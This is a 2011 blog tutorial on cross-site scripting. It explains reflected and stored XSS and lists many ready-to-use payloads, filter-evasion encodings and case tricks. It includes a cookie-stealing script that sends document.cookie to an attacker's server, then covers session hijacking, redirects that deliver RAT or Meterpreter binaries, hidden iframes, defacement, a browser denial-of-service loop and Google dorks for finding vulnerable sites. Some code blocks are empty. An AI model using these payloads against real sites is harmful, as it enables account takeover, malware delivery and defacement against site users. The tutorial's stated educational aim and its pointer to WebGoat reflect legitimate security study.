Sunday, October 30, 2011


I have previously covered a few topics on advanced XSS techniques involving the use of XSS Shell & XSS Tunnel as well as how to use XSS vulnerability to reach Full OS Compromise through use of XSSF+Metasploit. As a result of those write ups I received a lot of questions on how to get the basics of XSS done, so today I will do my best to present to you an introductory guide and overview to Cross Site Scripting, A.K.A. “XSS”. This is based on my experience and not based on any “real” material from a book – just things I have picked up over time and reading various other tutorials that are on the web, so take it with a grain of salt and remember this not a full guide nor are these the only methods available. Here goes...

Cross Site Scripting, or XSS, is vulnerability due to lack of validation and/or sanitization of user input in their JavaScript and/or HTML. Remote attackers are able to exploit the vulnerability by passing malformed queries through the URL or through submission forms and having it executed either on the client or server side, which results in the query being interpreted as JavaScript or HTML code. In the most basic scenario this results in an alert box indicating vulnerability has been found, with attacker defined message inserted within. These attacks are often simple and result in no further than a simple alert box, but it can also be used to steal users cookies for session high-jacking, and if you read my other tutorials you can see how a simple XSS vulnerability can also result in exploited browser session or even full OS compromise.   

XSS Vulnerabilities tend to come in three main flavors:
1.       Non-Persistent or Reflective
2.       Persistent or Stored
3.       DOM Based are generally held in their own category, but can be both persistent and non-persistent in nature (for more on this see the links provided at the end of the article)

I will be focusing on the first two for purposes of today’s write-up. Non-persistent or Reflective XSS vulnerabilities are ones that will be triggered due to client side rendering of the page code. This means that we have to convince potential victims to visit or click on our exploited link/page for the exploit to be triggered, since it will not be saved on the server. This means that even though you trigger the vulnerability, when the page gets refreshed the exploit will no longer be present on the page (it fails to stick if you will). It generally takes social engineering to make these types of vulnerabilities truly dangerous due to the simple nature and fact that it requires user interaction to exploit. Persistent XSS vulnerabilities on the other hand do stick and are actually stored on the server side. This means that anyone who visits the page where you exploited the XSS vulnerability will fall victim, as despite the page being reloaded and refreshed, since it is saved on server, it remains present for anyone who visits the page. Social engineering is not required, although it generally can be used to increase the amount of traffic being seen on any given page, or to get the right target audience. You will generally find Non-persistent XSS vulnerabilities in things like search bars, URL parameters, etc, whereas you will generally find Persistent XSS vulnerabilities in things like Guestbook, Comment/Reviews, and things like that. The differentiation there is in how the request and information is being handled. If the differentiation is not clear, hang with me and watch the videos at the end. OK, there are the basic differences….now let me show you some examples…

When checking for XSS vulnerabilities and injection strings you will be playing around with the HTML tags and JS objects and events to get the desired effect. There are many tags available and as such there are just as many methods for exploiting XSS vulnerabilities. We will begin with the very basics and then work our way through to more in depth methods. At the most basic level we can test for XSS vulnerability by injecting a script tag to generate an alert box or prompt with a brief message.

Try inserting this into search box, text field, or URL:


You can also interchange prompt for alert in most cases, and you may find it is less filtered than alert. It would look like so:


If we see the message box it indicates we have found vulnerability and successfully exploited it. If we don’t see it right away it is OK, we can try a few quick things. In most cases the vulnerability exists due to the code not being properly handled or sanitized, so we can try to trick the code by inserting a single quote, bracket, or double quote to act as a closing bracket for the actual form/field we are injecting on so that our evil code is treated as normal code and executed. This essentially ends the input encapsulation and HTML tag before our injection string, which allows it to be triggered. In order to do this we might need to change the above to include some form of the following to get this affect (remember these are just a few examples, you can play around with things to see how different characters are handled):


We can view the page source of the Web page to see if we can find our injected string in the HTML code. The string may be present in several places you may find it completely intact, yet hidden from the casual observer. So if we use this method and instead inject this:


We successfully get our code to execute and get the following as a result:

If it were persistent anyone who visited this page from here out would be greeted with this message. If not we would need to trick people to visiting this specific URL link so it executes on the client side. If the site still doesn’t seem to be taking your injections you can try using a few different tricks before giving up. You need to use some common sense and try to pick up anything you can to determine what and/or how the site is filtering input as it can be used against it to bypass the filters that may be in place. If you notice the site is striping your quotes out so that our full string is not executed properly you can try methods to get around the quotes or to avoid using them altogether. We can first try to use “String.fromCharCode()”, which will allow us to bypass some basic filters and allow our alert message to be executed. We can turn our original injection above into this:

“><script>alert(String.fromCharCode(88, 83, 83))</script>

NOTE: Char(88, 83, 83) = XSS. You can replace with your own char value to send your message of choice, but the end result is the char code is interpreted and decoded resulting in alert(XSS) thus triggering our popup message box.

If this method still doesn’t work you can start trying alternative tag methods or try completely encoding your injections. You can encode the strings using URL encoding, UTF encoding, you name it. You never know what types of effects will happen or how it will be decoded so sometimes it is good to play with this aspect.

Here are a few examples of key go-to encoding schemes you can use to help bypass filters:
·         <script> = char(60,115,99,114,105,112,116,62)
o   HEX = 3c7363726970743e
·         </script> = char(60,47,115,99,114,105,112,116,62)
o   HEX = 3c2f7363726970743e
·         “> = char(63,62)
o   HEX = 201c3e
·         alert = char(97,108,101,114,116)
o   HEX = 616c657274
·         ( = char(40)
o   HEX = 28
·         ) =  char(41)
o   HEX = 29
·         ; = char(59)
o   HEX = 3b
·         < = %3c
o   = %3e
·         / = %2f
·         \ = %5c
·         >< = %3e%3c
·         " = \\
·         ' = \
·         =><>, ="><, ='><
o   =%3e%3c%3e,="%3e%3c,='%3e%3c
·         so the original: <script>alert(‘XSS’);</script>
·         becomes: %3Cscript%3prompt(String.fromCharCode(88, 83, 83));%3C%2Fscript%3

In regards to trying alternative tag methods you can get creative and use something like one of the following:
·         onmouseover=alert(‘XSS’)
·         <IMG SRC=javascript:alert('XSS')>
·         <img src="x:x" onerror="alert('XSS')">
·         <BODY ONLOAD=alert('XSS')>
·         <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
·         <IMG SRC=javascript:prompt(String.fromCharCode(88, 83, 83))>
o   NOTICE: no quotes and no alert statement to get caught in the filters. Get creative with it and you will find you can bypass most things that come your way ;)

In addition to trying the above alternative tags or methods for injecting code you may also need to occasionally test out the filter system with some simple capitalization variances. You will find in some cases the filters are only setup to catch exact matches, so if you send two injections:
1.       <script>alert(‘XSS’)</script>
2.       <ScRIpT>aLErT(‘XSS’)</SCriPt>

If the filters are only set to catch exact matches it will stop the first injection, yet let the second injection pass right on through due to the fact that the simple variance causes it to not align with its given rule set.

Alright so we found some XSS vulnerabilities, either Persistent or Non-Persistent, what next? An attacker could now check the vulnerability to see if it can be used to steal cookies, which can lead to session high-jacking. An attacker could modify any of the above to trigger a message box revealing the user’s session cookie. This can be seen by inserting this injection string:


If successful it will result in something similar to this:

An attacker could then setup a simple PHP script on a remote machine they have control over and use this to receive the victim’s cookies.  If it were a persistent XSS vulnerability this could be done entirely without the victim’s knowledge whereas the non-persistent approach requires using Social Engineering to manipulate a user into visiting our specially crafted link (  If you must follow this method you will find that URL shortening services can really help to mask the URL so it does not look as scary of giveaway your cookie host (i.e. In order to capture the users cookie and actually send it to your remote machine where you have cookie catcher script setup you would need to inject something along the lines of this:

<script>document.location="" + document.cookie</script>

This script if executed will grab the current user’s session cookie and send it to the hosted script on the remote attacker’s site. The script would be setup to either save the received information into a text file or possible even into a full database. Here is basic example of what it might look like (there are much more detailed scripts widely available with quick Google search but I needed to save space)…

Super Simple Cookie Catcher PHP Script:

From here an attacker can sort through the victimcookies.txt file on their hosted server and review the cookies they have captured. In order to steal a victim user’s session they merely need to use their favorite cookie editor and swap with one from the file and then refresh their browser to the target site URL. Upon browser refresh they will be logged in as victim user with victim user rights. If it were an Admin, this could allow a remote attacker to bypass IP restrictions on admin login pages and other sensitive directories allowing the attacker to further access and exploit the site.

NOTE: cookies tend to expire and the time allowed varies from site to site so you might not have a long time to explore before a session ends, but once controlled an attacker can setup a system to keep the cookies refreshed allowing them extended use of victim’s access rights.

If you don’t have the munchies or just don’t care for cookies, don’t worry you can do other stuff too! Instead of injecting code to send the cookie to our remote site we could actually send the user to our remote site to run some evil code against them. This could come in the form of a java drive-by, hosted browser exploit attack (see link at bottom to XSSF), whatever you can think of.

Just to show you a few more examples:
·         <script>for(;;)alert("bucle");</script>
o   This causes in infinite loop to occur causing a Denial of Service on the victim’s browser, which will force them to have to close their browser. Fun for laughs occasionally J
·         <body onLoad="document.location.href=''">
·         <script>window.location="";</script>
o   Either of the above will cause the page to load and redirect to our defined remote URL, just change Google to your site of choice
·         <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="")></iframe>
o   This injects a hidden iframe into the current page. This can be used for anything you might be capable of using an iframe for, just edit Google to your site of choice
·         <script>document.location="";</script>
o   You can use example like this to cause visitors to download your evil binary file to be executed for RAT or Meterpreter shell
·         <html><body><IMG SRC=""></body></html>
·         <IMG SRC="">
·         <EMBED SRC="">
·         <script>window.location="";</script>
o   The above can be used in various ways to result in what is known as defacement, where the attackers picture/page replaces the original. This is more typically done with a persistent XSS vulnerability to get a noticeable impact and affect

I hope this has made some sense and helps others to understand the basics of Cross Site Scripting or XSS. I encourage others to read up on other methods and tools that can be used to extend their exploitability. I have also made a short video for those that need more of a visual experience to see the results. The video is just a simple example based on OWASP’s WebGoat project which I highly encourage you to become familiar with if you want to safely test some of these methods out.

WebGoat Video outlining Persistent or Stored XSS vs. Non-Persistent or Reflective XSS: 

As always I hope this was educational and helps a few folks out. Until next time, Enjoy!


Still curious and want to learn more, check these out:
TUT: XSS Shell & XSS Tunnel: Building Zombie Army out of XSS
TUT: XSSF + Metasploit: Full OS Compromise from XSS
DOM Based XSS – Online scanner and helpful info:
RSNAKE’s has put together some of the best for guides and online tools to help you get started: & forums:
Learn more about HTML:
Learn more about JavaScript:

Common Google Dorks for XSS:
·         inurl:search.php?q=
·         inurl:search.html
·         inurl:search.aspx
·         inurl:find.html
·         inurl:find.php
·         inurl:find.aspx
·         “Search”, "Guestbook", “Comment”, “review”, “user feedback”, etc

1 comment: